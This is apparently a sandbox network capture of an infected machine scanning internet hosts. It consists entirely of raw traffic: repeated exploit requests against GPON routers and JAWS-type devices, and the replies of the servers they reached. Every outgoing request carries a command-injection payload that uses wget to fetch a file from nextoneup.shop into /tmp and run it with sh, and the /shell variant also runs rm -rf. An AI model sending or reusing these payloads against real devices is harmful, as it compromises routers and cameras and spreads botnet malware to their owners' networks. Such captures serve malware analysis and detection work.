XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	54638	118.225.184.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846563101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	59100	210.57.139.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846564054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	55118	109.2.104.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846589088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	49620	123.12.214.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846751928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	39046	216.32.28.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.912168980 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.114809036 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:14 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	58952	172.255.83.242	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.935441017 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.147520065 CEST	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	34462	104.248.234.118	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.961131096 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.207722902 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:14 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	50872	63.160.189.199	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.969383955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.202497959 CEST	442	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:14 GMT Server: Apache/2.4.6 (CentOS) PHP/7.3.27 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	59400	23.9.52.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.003839016 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.294433117 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:14 GMT Date: Sun, 14 Apr 2024 02:00:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 65 39 63 37 61 35 63 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 32 35 32 38 64 62 61 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 65 39 63 37 61 35 63 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 32 35 32 38 64 62 61 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ce9c7a5c.1713060014.2528dba7<P>https://errors.edgesuite.net/9.ce9c7a5c.1713060014.2528dba7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	48110	123.56.125.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.043374062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.383552074 CEST	440	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:14 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Keep-Alive: timeout=15, max=300 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	33676	104.74.49.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.043600082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.350940943 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:14 GMT Date: Sun, 14 Apr 2024 02:00:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 35 66 32 33 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 35 32 62 62 63 34 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 35 66 32 33 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 35 32 62 62 63 34 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c5f23717.1713060014.52bbc4b<P>https://errors.edgesuite.net/9.c5f23717.1713060014.52bbc4b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	35740	39.108.232.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.055282116 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	59436	192.185.167.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.182046890 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.409204960 CEST	443	IN	HTTP/1.1 406 Not Acceptable Date: Sun, 14 Apr 2024 02:00:14 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	42090	52.3.52.213	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.195661068 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.430067062 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:14 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	37134	104.19.80.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.285913944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	41936	216.47.49.134	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.369221926 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.931632996 CEST	371	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Mon, 12 Jan 1970 08:53:03 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	54158	46.235.189.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.463198900 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.812755108 CEST	427	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:00:14 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	43178	116.255.226.15	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.524876118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.954646111 CEST	195	IN	HTTP/1.1 302 Object moved Server: infosec/1.0.0 Location: http://stopinfo.vhostgo.com/info5.html?data=127.0.0.1 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 0
Apr 14, 2024 04:00:14.959052086 CEST	59	IN	Data Raw: 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </fieldset></div></div></body></html>
